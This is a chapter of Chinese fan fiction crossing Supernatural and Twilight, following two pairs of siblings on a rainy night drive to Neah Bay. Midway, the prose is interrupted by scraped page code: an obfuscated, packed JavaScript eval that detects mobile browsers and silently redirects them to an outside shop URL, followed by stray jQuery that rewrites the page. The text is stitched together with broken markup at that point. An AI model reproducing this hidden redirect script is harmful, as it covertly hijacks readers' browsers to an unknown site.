尼厄贝的怀恩山庄，在参与作家的那个案子时，我和迪恩都注意到了这个地名。而爱丽丝也建议我们前往尼厄贝之后，找一个临海的山崖。
因为她的预视力所见的正是这样的场面：我们四个人站在圆圈里，周围是以诺语写下的符咒。
于是，告别卡伦一家后，我们便驱车前往尼厄贝。作为交通工具的车子则是卡伦家族友情提供的——我和迪恩非常努力地从那些华而不实的车子里挑了一辆比较低调的。
不是说我们对于礼物挑挑拣拣，而是吸血鬼的品味和温彻斯特家的人实在是南辕北辙。
“作为吸血鬼来说，他们人其实不错。”我弟弟和迪恩的弟弟都老老实实坐在后座上，我和迪恩为了驾驶权打了一架，然后我赢了。
“作为吸血鬼来说，他们不算是人。”迪恩扭头瞪了自己的弟弟一眼，然后又挑眉笑起来，“但你说得对，萨米，我想卡伦家的人没我一开始以为的那么糟糕。除了他们买车的品味。”
我夸张地摇了摇头，“这里毕竟不是我们的世界，如果是的话，迪恩，你怎么办？”
迪恩抬起胳膊架在椅背上，“那些奎鲁特狼人不是和他们签订了协议吗？他们也的确没杀过人。要我说，这种事情最好少管。但当然了，要是杀人的怪物让我们碰上了，哼。”他捏了捏拳头。
“他们基本上坚不可摧，迪恩。”他弟弟说道，“还是少说大话了。”
“总能找到办法的。”迪恩乜了弟弟一眼，“你是想说，如果我们的世界里有坚不可摧的怪物，我们就知难而退了？”
萨姆笑起来，“当然不会，我想你说的对，我们总能找到办法的。”
我弟弟接话：“五行生克，这世上没有无敌的存在。事实上，这个世界的狼人就是吸血鬼的克星。你们走的那段时间，卡伦家外围一直有巨狼在跑来跑去，监视他们的动向。”
“五行什么？”我没听懂。
“这是东方哲学，”萨姆朝我露出得意的笑容，“虽然朴素，但研究起来还挺有趣的。当年鲍比研究过不少东方的相关理论。”
作为短途旅行话题来说，这可是够枯燥的。只工作、不玩耍，聪明杰克也变傻。
“杰克可能会有别的话说。”萨姆谈起他们的拿非利人来就像提及自家小辈一样，“他工作起来心无旁骛的，而且他还不怎么需要睡眠。”
“等跟着我们历练两年，杰克说不定会成为美国最厉害的猎人。”迪恩笑起来，“让怪物闻风丧胆。”
他弟弟回以一笑，“我以为我们的名头已经让怪物闻风丧胆了。”
迪恩撇了撇嘴，然后忍不住得意地歪嘴笑起来，“是啊，我们可是声名在外。嘿，萨姆，记得之前遇到那群新手狼人的那次吗？那群小杂兵甚至都没听过咱们的名字。”
“也来不及听说了。”萨姆点头应和兄长，“我猜我们入行太久，年纪小的还真未必知道我们。”
“嘿，那是你，我年轻着呢。”迪恩瞪了他一眼。
“迪恩，我比你小四岁。”萨姆窃笑起来。
迪恩指了他一下，“我可是很欣赏年岁带给我的滋润，小子，但我还没老呢。”
萨姆拉长声音，“好——吧。”
在他旁边，我弟弟闭上眼睛仰头靠着车座椅背打了声呼噜。我能说什么，在招人心烦这回事上，我弟弟向来无师自通。
离开福克斯的时候，阴雨连绵不断，等我们驶上临近胡安妮福卡海峡的滨海公路时，阴雨已经转为倾盆暴雨。
密集的雨点不断打在汽车顶棚上、落在风挡玻璃上，我们开着雨刮器，不过效果非常有限。
海浪喧嚣，在这条近乎死寂的潮湿公路上，偶尔路过的车子都在限速行驶、小心翼翼。
没人想在暴雨之夜因为愚蠢的打滑而撞个车毁人亡。再加上这条路沿着海岸线弯弯绕绕的，要是撞破护栏冲出公路的话，要么在礁石上摔成一团铁麻花，要么跌进海里变成未来海洋探险家的挖掘对象。
真棒，我已经能想象到去海上钻井平台会是个什么样的美好光景了。
大概在晚上九点的时候，迪恩和我换了位置。雨夜开车相当累人，我原本在副驾驶上想要打个盹休息一下，但往常具有催眠作用的雨声今晚失去了魔力。
我们俩的弟弟们倒是在后车座上睡得香甜，呼噜声此起彼伏。
我猜他俩这些天在吸血鬼之家暂住着都没有休息好，不然也不会这么起劲地打呼噜。相比之下，虽然我和迪恩都挨了枪子儿，但跟着贝拉一起可是吃的好、睡的香。
只可惜接下来没得休息，也只能让他俩抓住机会在车里补补觉了。
迪恩难得没打开车载电台，估计也是不想吵到大家睡觉，不过他开车的时候嘴巴一直在动，身子还随着某个我听不见的节拍在晃动，所以我猜，他大概正在脑海里唱《Eye of the Tiger》。
“嘿，迪恩。”我把靠着车窗的脑袋抬起来，一边揉着脖子一边小声问他，“几点了？”
“十二点刚过。”迪恩也压低声音回答我，瞟了我一眼，“一直醒着？我还以为你们都睡着了呢。”
“他俩呼噜打这么响，谁睡得着啊。”我嘀咕道。
迪恩哼笑了一声，“这么多年还没习惯？”
我也哼了一声，“我这么多年只习惯了一个萨姆的呼噜声。”其实还有老爸的，他累的时候打起呼噜来可是惊天动地，但不知为何，小时候老爸的呼噜声在我听来具有安抚人心的作用，而不是让人心烦。
“那就陪我聊聊吧，再开一小时就到那个什么狗屁山庄了。”迪恩说，“不过依我看，雨会一直下。”
“天亮之后雨就会停了。”我叹了口气，因为下着雨可没法点蜡烛，而且爱丽丝预见到的场景中也没有瓢泼大雨。
迪恩点点头，“实在不行我们就在车里等天亮。事先警告，我打起呼噜来比萨姆还吵。”他朝我歪嘴一笑。
我揉了揉眼睛，也笑起来，“得了吧，迪恩，呼噜声可能是我最不担心的事情了。”
“那你在担心什么，丹妮？”我弟弟冷不丁从后面问道，吓得我差点把脖子扭了。
“嘿，你什么时候醒的？”我回头看了看，“乖乖睡觉，萨米，你都困成这样了。”
萨姆抹了把脸，“少来，鸡妈妈，我可是睡好了。”他说着直起身子来，问迪恩，“嘿，哥们儿，你需要有人替换一下吗？可以来后面闭闭眼。”
迪恩拉长声音说：“不用了，你俩在后面老老实实坐着吧。享受彼此的陪伴，诸如此类的。”
“噫。”萨姆露出被恶心到的表情，“你非得这么措辞吗？”
“哈哈。”迪恩坏笑起来，把他弟弟吵醒了，后者在车座上不舒服地翻了个身，含糊说道：“迪恩，闭嘴。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944858|205988||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
迪恩瞅了一眼，“睡美人，起床了，大家都醒了。”他抬手“咚咚咚”地敲了敲车顶。
他弟弟痛苦地睁开眼睛，语调恼火又无奈，“天亮了吗？看起来不像啊，迪恩。”
“只是不想让你错过茶话会而已，长发公主。”迪恩笑嘻嘻地说，“你究竟梦到什么了，萨米？这么舍不得醒过来，是茱莉亚·罗伯茨？”
“不是。”萨姆慢吞吞坐直了，伸手整理头发。
“布拉德·皮特？”迪恩挑起眉毛。
“什么？不是！”萨姆对兄长的调侃只有徒劳一笑，“别乱猜了，迪恩，我只是太困了而已，什么都没梦到。”
迪恩故意装作不信的样子，“老实交代吧，狡猾的狐狸。”
萨姆叹了口气，告诉他哥哥，“好吧，我梦到我们在开罗。”他捏了捏眉心，“你一路都在抱怨我拉着行李箱，而不是找个该死的地方把箱子存起来。”
“哈，我还没去过开罗呢。”迪恩回头对弟弟说，“我们应该找个机会，顺便看看那边的猎人和怪物是怎么和谐相处的。”
“什么时候你能放下美国的怪物了再说吧。”萨姆嗤嗤笑起来，显然很了解哥哥的德行。
“我全心全意相信美国猎人的能力。”迪恩说，“更何况还有卡斯、杰克，再加上乔迪她们。”
萨姆点点头，“也是，我们现在不就离家万里吗？”他转头望向车窗外，笼罩在漆黑雨夜中的公路栅栏不断后退，还有一闪而过的标志牌：
欢迎来到尼厄贝，不管你此前身在何处，此刻你都在这儿。
我弟弟也看到了这块牌子，他哼了一声，对另一个萨姆说：“我一直很讨厌这种聪明话。”
“是啊。”迪恩的弟弟叹了口气，“这些年我们跑过的这么多地方，这里、那里。”
我问道：“这话怎么了？”恰好在同时，迪恩也问了这个问题。迪恩还抢先翻了个白眼，说：“我讨厌你这么做。”
他指的是我们异口同声这回事。我知道，因为我也不喜欢。
我也翻了个白眼，“那就别这么做。”
“我们已经到尼厄贝了，”萨姆之一说道，“还有多久？”
“别急，孩子们，”迪恩回答，“下个路口我们就拐出滨海公路，开始上山。”
萨姆伸了个懒腰，“是啊，因为爬山公路要比滨海公路好走得多？迪恩，你应该找个地方停车，然后换人来开。你开了多久了？”
迪恩说：“顶多三四个小时。”
“你上次睡觉是什么时候？”他弟弟接着问，又苦口婆心地劝说：“我知道你车技好，但雨下得这么大，还是小心点吧。”
“行吧，行吧，‘安全至上’先生。”迪恩说，“上山的时候要是有机会，我靠边停车，咱俩换换。”
他说着使劲捏了捏眉心，“老实说，这条路还真是怪安静的。开了一晚上，我们也就遇到了三两辆车，还都是在加油站附近。”
不过今晚的雨下得实在很大，我想，路上车少也是情有可原的。
因为路灯有不少都报废了，时不时就会遇到一截子只能靠车头灯照亮的路段，害得迪恩差点错过那条山路。
不过我们终究还是上山了。迪恩找了个能靠边的地方把车停好，快速下车和弟弟交换位置。
就在萨姆坐上驾驶座，关车门前的刹那，我听到了婴儿的哭声。